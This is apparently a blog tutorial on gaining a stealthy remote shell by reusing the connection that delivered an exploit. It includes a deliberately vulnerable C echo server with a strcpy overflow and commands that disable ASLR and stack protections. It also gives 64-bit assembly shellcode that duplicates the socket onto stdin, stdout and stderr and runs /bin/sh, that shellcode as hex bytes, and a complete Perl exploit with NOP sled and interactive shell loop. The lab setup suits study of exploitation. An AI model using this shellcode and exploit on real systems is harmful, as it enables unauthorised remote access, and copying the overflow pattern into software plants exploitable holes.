In this paper I will present an elegant technique (it’s my opinion, indeed) to get shell access to a vulnerable remote machine. It is not my own technique but I found it very interesting. The focus of this paper is on this technique and not in the way to exploit the vulnerability.
Setting your environment
So, in order to focus on the remote shell code and not on how to circumvent ASLR, non-executable stacks and so on (that will require lots of writing) we will disable most of these features for our test. Once you get your shellcode ready you can, indeed try to bring the protections back and exploit again the program. That is a very interesting exercise if you want to try.
First, we will disable the ASLR. This can be done with the following command:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
This is temporary and will be reverted on the next reboot. In case you want it back without rebooting your machine:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
To disable the rest of security functions we will be using the following flags to compile our vulnerable server:
-fno-stack-protector -z execstack
These flags disables stack canaries and also gives execution permissions to the stack. So we have a very easy to exploit environment.
A vulnerable service
Now let’s write a small echo server with a buffer overflow we can exploit remotely. The program is very simple. Can you spot the buffer overflow in the code?. Sure you can.
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int
process_request (int s1, char *reply)
{
char result[256];
strcpy (result, reply);
write (s1, result, strlen(result));
printf ("Result: %p\n", &result);
return 0;
}
int
main (int argc, char *argv[])
{
struct sockaddr_in server, client;
socklen_t len = sizeof (struct sockaddr_in);
int s,s1, ops = 1;
char reply[1024];
server.sin_addr.s_addr = INADDR_ANY;
server.sin_family = AF_INET;
server.sin_port = htons(9000);
s = socket (PF_INET, SOCK_STREAM, 0);
if ((setsockopt (s, SOL_SOCKET, SO_REUSEADDR, &ops, sizeof(ops))) < 0)
perror ("pb_server (reuseaddr):");
bind (s, (struct sockaddr *) &server, sizeof (server));
listen (s, 10);
while (1)
{
s1 = accept (s, (struct sockaddr *)&client, &len);
printf ("Connection from %s\n", inet_ntoa (client.sin_addr));
memset (reply, 0, 1024);
read (s1, reply, 1024);
process_request (s1, reply);
close (s1);
}
return 0;
}
Pretty standard stuff. Let’s compile it and finish our job making it into the easiest to exploit server ever:
gcc -g -fno-stack-protector -z execstack -o target target.c
Let’s verify it is vulnerable. Launch it in one terminal and from another terminal run:
$ perl -e 'print "A"x1024;' | nc localhost 9000
In the terminal running the server we should see something like:
$ ./target
Connection from 127.0.0.1
Result: 0x7fffffffdbf0
Segmentation fault (core dumped)
Note that I have added a print of the address of a local variable so you can verify that ASLR is disabled. You should always get the same number for every execution of the same binary (number can change if you modify the program).
You can now practice with this program to get a local shell using some of the shellcodes available around. Even if it is very easy you should do it at least once :). I will not cover this here. There are, literally thousands of tutorials on how to exploit a buffer overflow in this conditions. Just google it and do it.
The Remote Shell
Now it’s time to get a remote shell. The key word here is remote. This means that there is a network between the vulnerable machine and the attacker. Or in other words, we have to send/receive data through some socket. Based on this, there are fundamentally two ways to get a remote shell:
- Your shellcode creates a server socket enabling connections from outside and feeding data in and out of a local shell… This is a Direct remote shell.
- Your shellcode connects back to a predetermined host were some server is waiting for the connection from the victim… This is a Reverse remote shell.
You may want to read Remote Shells. Part I for more details.
This two definitions will bring to the mind of many of you those RHOST/RPORT
variables, or whatever they are called… Yes, that thing to tell your payload what is the address and port to connect to. For a reverse shell you have to store this information in your payload in order to connect back. For a direct shell you usually define just the port, the server will be waiting for connections.
However, there is a third option, at least for Unix machines.
Connection Reuse
When executing a remote exploit, in order to exploit the vulnerability, you are already connected to the server… so, why do not reuse the connection that is already setup?. This is very neat, because it will not show anything suspicious in the victim like open ports for unknown services or outgoing connections from a server
The way to achieve this is very ingenious. It is based on the fact that, the system assigns file descriptions sequentially. Knowing this, we can just duplicate an existing file descriptor immediately after our connection and… unless the server is under heavy load, we should get a file descriptor equal to the file descriptor of the socket associated to our connection + 1 (so, the fd assigned just before, i.e. our connection).
Once we know the file descriptor for our current on-going connection, we just need to duplicate it to file descriptors 0,1 and 2 (stdin
, stdout
and stderr
) and then spawn a shell. From that point on, all the input/output for that shell will be redirected to the socket.
Still confused? Haven’t read this (Remote Shells. Part I)?. Maybe now is a good time to do it.
The C code is something like this:
int sck = dup (0) - 1; // Duplicate stdin
dup2 (sck, 0);
dup2 (sck, 1);
dup2 (sck, 2);
execv ("/bin/sh", NULL);
See… no socket code at all!. If we make this into a shellcode and we manage to exploit the remote server to run that code, we will get shell access to the remote machine over the connection we used to feed the exploit in the remote server .
Many of you may have notice that this techniques (as usual) has some drawbacks. We have already mentioned that under heavy load on the server (many connections being established simultaneously), our dup
trick may fail, and somebody else will get the shell access . Also, a proper server will close all file descriptors before becoming a daemon
(man daemon
), so we may need to try with others values as argument for dup
.
This technique was brought to my attention by @_py in a discussion we had some time ago. The original code we checked at that time can be found here:
http://shell-storm.org/shellcode/files/shellcode-881.php
However this is 32bits code so I made my own 64bits version and a Perl script to run the exploit.
The 64bits Version of the Shellcode
I’m not really proud of it (I just realised how rusty my ASM is) but it works and it is only 3 bytes longer that the original 32bits version. Here it is:
section .text
global _start
_start:
;; s = Dup (0) - 1
xor rax, rax
push rax
push rax
push rax
pop rsi
pop rdx
push rax
pop rdi
mov al, 32
syscall ; DUP (rax=32) rdi = 0 (dup (0))
dec rax
push rax
pop rdi ; mov rdi, rax ; dec rdi
;; dup2 (s, 0); dup2(s,1); dup2(s,2)
loop: mov al, 33
syscall ; DUP2 (rax=33) rdi=oldfd (socket) rsi=newfd
inc rsi
mov rax,rsi
cmp al, 2 ; Loop 0,1,2 (stdin, stdout, stderr)
jne loop
;; exec (/bin/sh)
push rdx ; NULL
mov qword rdi, 0x68732f6e69622f2f ; "//bin/sh"
push rdi ; command
push rsp
pop rdi
push rdx ;env
pop rsi ;args
mov al, 0x3b ;EXEC (rax=0x4b) rdi="/bin/sh" rsi=rdx=
syscall
I have added some comments for the less obvious parts and you will see a lot of push/pops
. The reason is that a PUSH/POP
pair is 2 bytes but a MOV R1,R2
is 3. This makes the code very ugly but a bit shorter… actually not much so I do not think if it is a good idea. Anyway, be free to improve it and post your versions in the comments. Also do not hesitate to share any doubt about the code.
Generating our Shellcode
Now, we have to get the shellcode in a format suitable to be send to the remote server. For doing that we have to first compile the code and then extract the machine code out of the compiled file. Compiling (assembling in this case) is straight forward:
nasm -f elf64 -o rsh.o rsh.asm
There are many different ways to get the binary data out of the object file. I use these nifty trick that produce a string in a format that I can easily add to a Perl or C program.
for i in $(objdump -d rsh.o -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
The two commands above will produce the following shellcode:
\x48\x31\xc0\x50\x50\x50\x5e\x5a\x50\x5f\xb0\x20\x0f\x05\x48\xff\xc8\x50\x5f\xb0\x21\x0f\x05\x48\xff\xc6\x48\x89\xf0\x3c\x02\x75\xf2\x52\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\x52\x5e\xb0\x3b\x0f\x05
Time to write the exploit
The Exploit
So we have a remote vulnerable system. You have figure out how to exploit the buffer overflow in our low-secured environment and we also have a shellcode to run on the remote system. Now we need a exploit. The exploit will put all this together and give us the remote shell we are looking for.
There are many ways to write it. I’ve used used Perl for mine. Of course.
This is how it looks like:
#!/usr/bin/perl
use IO::Select;
use IO::Socket::INET;
$|=1;
print "Remote Exploit Example";
print "by 0x00pf for 0x00sec :)\n\n";
# You may need to calculate these magic numbers for your system
$addr = "\x10\xdd\xff\xff\xff\x7f\x00\x00";
$off = 264;
# Generate the payload
$shellcode = "\x48\x31\xc0\x50\x50\x50\x5e\x5a\x50\x5f\xb0\x20\x0f\x05\x48\xff\xc8\x50\x5f\xb0\x21\x0f\x05\x48\xff\xc6\x48\x89\xf0\x3c\x02\x75\xf2\x52\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\x52\x5e\xb0\x3b\x0f\x05";
$nops = $off - length $shellcode;
$payload = "\x90" x $nops . $shellcode . $addr;
$plen = length $payload;
$slen = length $shellcode;
print "SLED $nops Shellcode: $slen Payload size: $plen\n";
# Connect
my $socket = new IO::Socket::INET (
PeerHost => '127.0.0.1',
PeerPort => '9000',
Proto => 'tcp',
);
# Set up select for asynchronous read from the server
$sel = IO::Select->new( $socket );
$sel->add(\*STDIN);
# Exploit!
$socket->send ($payload);
$socket->recv ($trash,1024);
$timeout = .1;
$flag = 1; # Just to show a prompt
# Interact!
while (1) {
if (@ready = $sel->can_read ($timeout)) {
foreach $fh (@ready) {
$flag =1;
if($fh == $socket) {
$socket->recv ($resp, 1024);
print $resp;
}
else { # It is stdin
$line = <STDIN>;
$socket->send ($line);
}
}
}
else { # Show the prompt whenever everything's been read
print "0x00pf]> " if ($flag);
$flag = 0;
}
}
The beginning of the exploit is pretty much the standard stuff. Generate the payload based on the magic numbers you had figured out with the help of gdb
(note that those number may be different in your system, and the exploit as it is may not just work).
But then, we have to do something else for our special remote shell. With direct and reverse shells, once the exploit has been run and have done its job, we will normally use another program/module to connect to or to receive the connection from the remote machine. It can be netcat
or your preferred pentesting platform or your own tool,…
However, in this case we are accessing the shell using an already establish connection. The one we used to send the payload. So I added some code to read commands from stdin
and send them to the remote server and also to read data from the remote shell. This is the final part of the exploit. It is standard networking code. Nothing really special in there.
Now, you can try your remote shell exploit!
Conclusions
In this paper we have discussed a technique to get pretty stealth shell access to a remote vulnerable server without the need to deal with the sockets
API provided by the system. This makes the development of the shellcode simpler and also makes it shorter (check this one for example http://shell-storm.org/shellcode/files/shellcode-858.php).
Be free to improve the shellcode and post it in the comments. Also, if somebody wants to try to exploit the server when the system security features are activated, please be my guest. That will involve:
- Reactivate ASLR (you already know how to do that)
- Make stack not executable (remove the
-zexecstack
flag or use theexecstack
tool) - Reactivate stack protection (remove the
-fno-stackprotector
flag) - Go Pro (compile with
-DFORTIFY_SOURCE=2
or use-O2
) - Go master (compile with
-O2 -fPIC -pie -fstack-protector-all -Wl,-z,relro,-z,now
)
Hack Fun!